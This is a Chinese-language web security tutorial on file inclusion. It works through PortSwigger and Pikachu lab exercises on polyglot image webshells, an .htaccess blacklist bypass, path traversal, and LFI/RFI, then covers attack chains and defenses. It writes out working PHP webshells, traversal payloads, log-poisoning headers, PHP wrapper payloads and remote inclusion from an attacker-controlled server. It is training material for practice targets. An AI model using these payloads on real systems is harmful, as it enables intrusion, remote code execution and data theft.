從入門到實戰(zhàn):5大實驗+攻防全解析)
文件包含漏洞完全實戰(zhàn)教程前置要求已搭建 Kali Burp Suite了解 PHP include() 函數基礎實驗環(huán)境PortSwigger Web Security Academy Pikachu 靶場目錄前置知識什么是文件包含漏洞實驗環(huán)境準備Lab 1Polyglot 圖片馬文件包含Lab 2擴展名黑名單繞過.htaccessLab 3路徑遍歷Pikachu本地文件包含LFIPikachu遠程文件包含RFI真實場景中的攻擊思路真實場景中的漏洞檢測防御方案與代碼審計要點一、前置知識什么是文件包含漏洞1.1 文件包含的正常用途開發(fā)中常用include()/require()復用代碼?php// 正常用法包含頁頭include(header.php);// 動態(tài)包含根據用戶選擇加載不同頁面$page$_GET[page];include($page);// ?? 危險用戶可控?1.2 LFI vs. RFI類型全稱利用條件危害LFILocal File Inclusion包含本地文件讀取/etc/passwd、配合圖片馬 getshellRFIRemote File Inclusionallow_url_include On直接包含遠程 webshell一鍵 RCE1.3 為什么和文件上傳是黃金組合上次實驗上傳了圖片馬PHP 代碼嵌入圖片但如果上傳目錄禁止 PHP 執(zhí)行webshell 無法觸發(fā)。文件包含的破局作用// 目標網站存在文件包含漏洞$page$_GET[page];include($page);// 攻擊者請求GET/vul/include.php?pageuploads/shell.jpg雖然shell.jpg擴展名是圖片但include()函數會把文件內容當作 PHP 代碼解析執(zhí)行從而觸發(fā)嵌入的 webshell。這就是文件包含 文件上傳 黃金組合的原因。1.4 include() 函數的行為被包含的文件include() 的處理方式.php文件執(zhí)行其中的 PHP 代碼.txt文件直接輸出文件內容/etc/passwd直接輸出系統文件內容圖片文件含 PHP 代碼執(zhí)行嵌入的 PHP 代碼二、實驗環(huán)境準備2.1 工具清單工具用途狀態(tài)Burp Suite ProfessionalHTTP 代理、攔截、改包、Repeater已安裝Firefox FoxyProxy設置瀏覽器代理到 Burp已配置PortSwigger 賬號訪問在線靶場已注冊Pikachu 靶場本地漏洞練習平臺已部署exiftool制作 Polyglot 圖片馬Kali 自帶Python 33搭建臨時 HTTP 服務器已安裝2.2 創(chuàng)建測試文件文件 1exploit.php用于讀取 secret?phpechofile_get_contents(/home/carlos/secret);?文件 2shell.php用于命令執(zhí)行?phpsystem($_GET[cmd]);?三Lab 1: Polyglot 圖片馬 文件包含含3.1 實驗目標文件內容校驗Magic Bytes的繞過方法。后端檢查文件是否為真實圖片但未剝離 EXIF 元數據中的 PHP 代碼。。3.2 進入實驗室在 PortSwigger 的“File upload vulnerabilities”路徑中找到“Remote code execution via polyglot web shell upload”3.3 準備圖片在 Kali 終端執(zhí)行# 下載測試圖片wgethttps://portswigger.net/web-security/images/stickman.jpg-O/tmp/image.jpg# 或者用系統自帶圖片find/usr/share-name*.jpg|head-13.4 用 exiftool 制作 Polyglot 文件核心原理exiftool 可以在圖片的EXIF Comment 元數據中插入 PHP 代碼然后輸出為.php擴展名。這個文件對圖片查看器來說是一張正常的 JPEG 圖片文件頭FF D8 FF正確對 PHP 解釋器來說包含?php ... ?代碼可以執(zhí)行在 Kali 終端執(zhí)行exiftool-Comment?php echo START . file_get_contents(/home/carlos/secret) . END; ?/tmp/image.jpg-o/tmp/polyglot.php參數解釋-Comment...在圖片的 EXIF Comment 字段中寫入 PHP 代碼image.jpg輸入的原始圖片-o polyglot.php輸出文件名為polyglot.php為什么加 START 和 END因為返回的響應中包含大量圖片二進制亂碼用 START/END 做標記可以方便地在亂碼中定位 secret。3.5 驗證 polyglot.phpexiftool /tmp/polyglot.php|grepComment預期輸出Comment : ?php echo START . file_get_contents(/home/carlos/secret) . END; ?3.6 上傳 polyglot.php登錄實驗室賬戶wiener / peter進入My account頁面點擊Browse…選擇/tmp/polyglot.php點擊Upload此時發(fā)生了什么服務器檢查文件內容看到文件頭FF D8 FFJPEG 的 Magic Bytes認為這是一張真實圖片于是放行。但它沒有進一步剝離 EXIF 元數據中的 PHP 代碼。3.7 用 Repeater 獲取 Secret上傳成功后文件保存在/files/avatars/polyglot.php。Burp →Proxy → HTTP history找到獲取頭像的 GET 請求GET /files/avatars/xxx.jpg右鍵 →“Send to Repeater”切換到Repeater標簽把請求路徑改成GET /files/avatars/polyglot.php HTTP/2點擊Send查找 SecretResponse 中會混雜大量圖片二進制亂碼按CtrlF搜索START在START和END之間就是 Carlos 的 secret3.8 提交 Secret復制 Repeater 響應面板中的 secret 字符串回到實驗室頁面點擊“Submit solution”粘貼 secret提交頁面顯示“Congratulations, you solved the lab!”3.9 本實驗原理總結image.jpg (合法JPEG) PHP代碼 ──→ exiftool 寫入 Comment 字段 ──→ polyglot.php ↓ 文件頭: FF D8 FF (JPEG) ? 通過校驗 內容: ?php ... ? (PHP代碼) ↓ 服務器保存為 polyglot.php ↓ 訪問該文件 → PHP解釋器掃描整個文件 ↓ 找到 ?php ... ? 并執(zhí)行 ↓ 輸出 Carlos 的 secret漏洞本質文件內容校驗Magic Bytes只能驗證文件類型不能防止在元數據EXIF中嵌入惡意代碼。四、Lab 2擴展名黑名單繞過.htaccess4.1 實驗目標理解黑名單防御的脆弱性。后端禁止.php、.phtml、.php5但允許.htaccess上傳且 Apache 會解析.htaccess配置。4.2 進入實驗室在 PortSwigger 中找到“Web shell upload via extension blacklist bypass”4.3 嘗試直接上傳 PHP創(chuàng)建shell.phpecho?php echo file_get_contents(/home/carlos/secret); ?/tmp/shell.php直接上傳預期結果上傳失敗提示 “Sorry, php files are not allowed”。4.4 嘗試 .php5創(chuàng)建并上傳shell.php5echo?php echo file_get_contents(/home/carlos/secret); ?/tmp/shell.php5預期結果上傳成功但訪問時返回 PHP 源碼純文本目錄禁止 PHP 執(zhí)行。4.5 上傳 .htaccess 文件核心原理Apache 服務器允許通過.htaccess文件在每個目錄下覆蓋全局配置。上傳.htaccess后可以讓服務器把任意擴展名如.l33t當作 PHP 執(zhí)行。創(chuàng)建 .htaccessechoAddType application/x-httpd-php .l33t/tmp/.htaccess上傳步驟關鍵開啟 Burp 攔截在實驗室頁面準備一張正常圖片點擊 UploadBurp 攔截到 POST 請求做以下修改把filenamexxx.jpg改成filename.htaccess把Content-Type改成text/plain把請求體中的圖片二進制內容刪掉改成AddType application/x-httpd-php .l33t點擊Forward放行為什么從正常圖片請求修改直接選擇.htaccess上傳時前端可能不生成 CSRF token導致 “Missing parameter ‘csrf’” 錯誤。從正常圖片請求修改可以保留完整的表單結構。4.6 驗證 .htaccess 上傳成功頁面顯示The file avatars/.htaccess has been uploaded.4.7 上傳 exploit.l33t創(chuàng)建 exploit.l33techo?php echo file_get_contents(/home/carlos/secret); ?/tmp/exploit.l33t上傳選擇/tmp/exploit.l33t點擊 Upload如果 Burp 攔截把Content-Type改成image/jpegForward 放行4.8 讀取 Secret在 Repeater 中發(fā)送GET /files/avatars/exploit.l33t HTTP/2由于.htaccess的配置.l33t文件會被當作 PHP 執(zhí)行返回 Carlos 的 secret。4.9 本實驗原理總結后端黑名單禁止 .php, .phtml, .php5 ↓ 攻擊者上傳 .htaccess AddType application/x-httpd-php .l33t ↓ Apache 讀取 .htaccess → 該目錄下 .l33t 文件由 PHP 解釋器處理 ↓ 上傳 exploit.l33t內容?php ... ? ↓ 訪問 /files/avatars/exploit.l33t → PHP 執(zhí)行 → 讀取 secret漏洞本質黑名單永遠不完整.htaccess配置覆蓋是繞過黑名單的強大手段。#Lab 3: b 3路徑遍歷5.1 實驗目標利用**路徑遍歷Path Traversal**漏洞通過../讀取服務器上的任意文件。5.2 進入實驗室在 PortSwigge**“Path Traversal”** 路徑中找到**“File path traversal, simple case”e5.3 找到圖片加載接口操作在頁面上右鍵點擊任意商品圖片2.“檢查”Inspectect查看圖片的src屬性預期格式img src/image?filenameavatar.jpg5.4 Burp Repeater 修改請求操作Burp →Proxy → HTTP history找到加載圖片的 GET 請求如GET /image?filenameavatar.jpg右鍵 →Send to Repeater把請求改成GET /image?filename../../../etc/passwd HTTP/2點擊Send原理后端代碼大概長這樣$filename$_GET[filename];readfile(/var/www/images/.$filename);當filename../../../etc/passwd時/var/www/images/../../../etc/passwd /etc/passwd成功讀取系統敏感文件5.5 本實驗原理總結正常請求攻擊請求filenameavatar.jpgfilename../../../etc/passwd讀取/var/www/images/avatar.jpg讀取/etc/passwd顯示圖片泄露系統敏感信息漏洞本質后端直接把用戶輸入拼接到文件路徑未過濾../目錄遍歷序列。六、Pikachu本地文件包含LFI6.1 進入靶場訪問http://localhost/pikachu/vul/fileinclude/fi_local.php6.2 分析后端代碼查看源碼cat/var/www/html/pikachu/vul/fileinclude/fi_local.php關鍵代碼includeinclude/$filename;6.3 計算路徑遍歷層級從include/目錄到根目錄//var/www/html/pikachu/vul/fileinclude/include/ ├── 退1級 → fileinclude/ ├── 退2級 → vul/ ├── 退3級 → pikachu/ ├── 退4級 → html/ ├── 退5級 → www/ ├── 退6級 → var/ └── 退7級 → /需要7 個../才能到達根目錄6.4 讀取 /etc/passwd瀏覽器訪問http://localhost/pikachu/vul/fileinclude/fi_local.php?filename../../../../../../../etc/passwdsubmit提交查詢6.5 本實驗原理總結參數實際包含路徑結果file1.phpinclude/file1.php? 正常../../../etc/passwd(3個)include/../../../etc/passwd/var/www/html/pikachu/etc/passwd? 不存在../../../../../../../etc/passwd(7個)include/../../../../../../../etc/passwd/etc/passwd?成功關鍵教訓即使后端加了固定目錄前綴路徑遍歷仍然可以突破目錄邊界。必須計算準確的../層級。七、Pikachu遠程文件包含RFI7.1 環(huán)境配置Pikachu 默認allow_url_include Off需要先開啟# 1. 編輯 php.inisudonano/etc/php/8.4/apache2/php.ini# 2. 修改以下兩行allow_url_includeOn allow_url_fopenOn# 3. 重啟 Apachesudosystemctl restart apache27.2 搭建遠程 Web 服務器在 Kali 終端執(zhí)行cd/tmpecho?php phpinfo(); ?shell.txt python3-mhttp.server88887.3 查看 Kali IPipaddr|grepinet 找到你的 IP如192.168.2.124。7.4 觸發(fā) RFI瀏覽器訪問http://localhost/pikachu/vul/fileinclude/fi_remote.php?filenamehttp://192.168.2.124:8888/shell.txtsubmit提交查詢預期結果頁面顯示完整的phpinfo()輸出證明遠程文件被包含并執(zhí)行了 PHP 代碼7.5 如果是真正的 Webshell把shell.txt改成?phpsystem($_GET[cmd]);?然后訪問?filenamehttp://192.168.2.124:8888/shell.txtcmdwhoami即可執(zhí)行任意命令7.6 恢復安全配置重要實驗完成后務必關閉sudonano/etc/php/8.4/apache2/php.ini# 改回allow_url_includeOff allow_url_fopenOffsudosystemctl restart apache27.7 本實驗原理總結攻擊機Kali 192.168.2.124 ├── python3 -m http.server 8888 └── shell.txt (內容?php phpinfo(); ?) ↓ HTTP 請求 受害者Pikachu localhost ├── PHP include(http://192.168.2.124:8888/shell.txt) ├── 遠程下載 shell.txt └── 執(zhí)行 phpinfo() → 返回配置信息漏洞本質allow_url_include On時include()可以加載遠程 URL 并執(zhí)行其中的 PHP 代碼。攻擊者只需控制一個 HTTP 服務器就能讓目標服務器執(zhí)行任意代碼。八、真實場景中的攻擊思路8.1 攻擊目的階段目標具體操作信息收集了解目標環(huán)境?page../../../etc/passwd讀取系統用戶配置泄露獲取數據庫密碼?page../../../var/www/html/config.php讀取源碼日志投毒寫入惡意代碼在 User-Agent 中寫 PHP 代碼然后包含日志文件圖片馬觸發(fā)配合文件上傳 getshell上傳圖片馬 → 文件包含觸發(fā) → 獲得 RCESession 包含利用可控的 Session 文件在可控字段寫 PHP 代碼包含 Session 文件PHP 封裝器讀取源碼而不執(zhí)行php://filter/readconvert.base64-encode/resourceconfig.php8.2 典型攻擊鏈LFI → RCE1. 發(fā)現 LFI 漏洞 └─ ?pagefile1.php 可以改成任意文件 2. 信息收集 └─ ?page../../../etc/passwd → 確認存在 LFI 3. 尋找可寫的日志/Session └─ ?page../../../var/log/apache2/access.log 4. 日志投毒 └─ 在請求頭中注入 PHP 代碼 User-Agent: ?php system($_GET[cmd]); ? 5. 包含日志文件觸發(fā)代碼 └─ ?page../../../var/log/apache2/access.logcmdwhoami 6. 獲得 RCE └─ 執(zhí)行任意命令進一步反彈 Shell8.3 PHP 封裝器利用讀取源碼不執(zhí)行?pagephp://filter/readconvert.base64-encode/resourceconfig.php執(zhí)行系統命令?pagephp://input POST 數據?php system(whoami); ?包含 Data URI?pagedata://text/plain,?php phpinfo(); ?九、真實場景中的漏洞檢測9.1 黑盒測試發(fā)現包含點位置示例參數頁面加載?pageabout?fileheader?modulenews語言切換?langen?languagezh主題/模板?themedefault?templateindex文件下載?downloadmanual.pdf基礎測試清單□ 基礎測試?page../../../etc/passwd □ Windows 測試?page..\..\..\windows\system32\drivers\etc\hosts □ 空字節(jié)截斷PHP 5.3.4?page../../../etc/passwd%00 □ 雙寫繞過?page....//....//....//etc/passwd □ PHP 封裝器?pagephp://filter/readconvert.base64-encode/resourceindex.php □ 遠程包含?pagehttp://攻擊者.com/shell.txt9.2 白盒代碼審計危險函數識別include($file)include_once($file)require($file)require_once($file)檢查清單檢查項危險代碼安全代碼是否使用用戶輸入include($_GET[page])?include(fixed_page.php)?是否加了固定前綴include(pages/ . $_GET[page])?仍可遍歷include(pages/ . basename($_GET[page]))?是否有白名單無 ?if (in_array($page, $allowed))?allow_url_includeOn?Off?open_basedir未設置 ?open_basedir /var/www/html?十、防御方案與代碼審計要點10.1 防御金字塔┌─────────────┐ │ 關閉 allow_url_include │ ← 最強杜絕 RFI │ (php.ini) │ ├─────────────┤ │ 白名單控制 │ ← 只允許預定義文件 ├─────────────┤ │ open_basedir │ ← 限制 PHP 可訪問目錄 ├─────────────┤ │ basename() 過濾 │ ← 去除路徑遍歷字符 └─────────────┘10.2 安全代碼示例?php// ? 安全的文件包含白名單 固定目錄$allowed_pages[home,about,contact];$page$_GET[page]??home;if(!in_array($page,$allowed_pages)){die(Invalid page);}include(/var/www/pages/.$page..php);?10.3 PHP 配置加固; php.ini allow_url_include Off allow_url_fopen Off open_basedir /var/www/html:/tmp10.4 Nginx/Apache 配置# Nginx限制 PHP 包含路徑 location ~ \.php$ { fastcgi_param PHP_VALUE open_basedir/var/www/html:/tmp; }十一、總結實驗防御機制繞過/利用手法學到的核心原理Polyglot文件內容校驗Magic BytesEXIF 元數據嵌入 PHP 代碼元數據校驗不可忽略Blacklist擴展名黑名單.htaccess 配置覆蓋 自定義擴展名黑名單永遠不完整Path Traversal無過濾../../../etc/passwd路徑拼接必須過濾遍歷序列Pikachu LFI固定目錄前綴7個../穿越到根目錄前綴不能阻止路徑遍歷Pikachu RFIallow_url_includeOn遠程包含 Kali 的 shell.txtRFI 直接 getshell必須關閉配置開關核心原則永遠不要使用用戶輸入直接作為 include 參數—— 所有 include 參數必須白名單控制關閉allow_url_include—— 這是杜絕 RFI 的最有效手段縱深防御—— 白名單 目錄限制 配置加固多層防護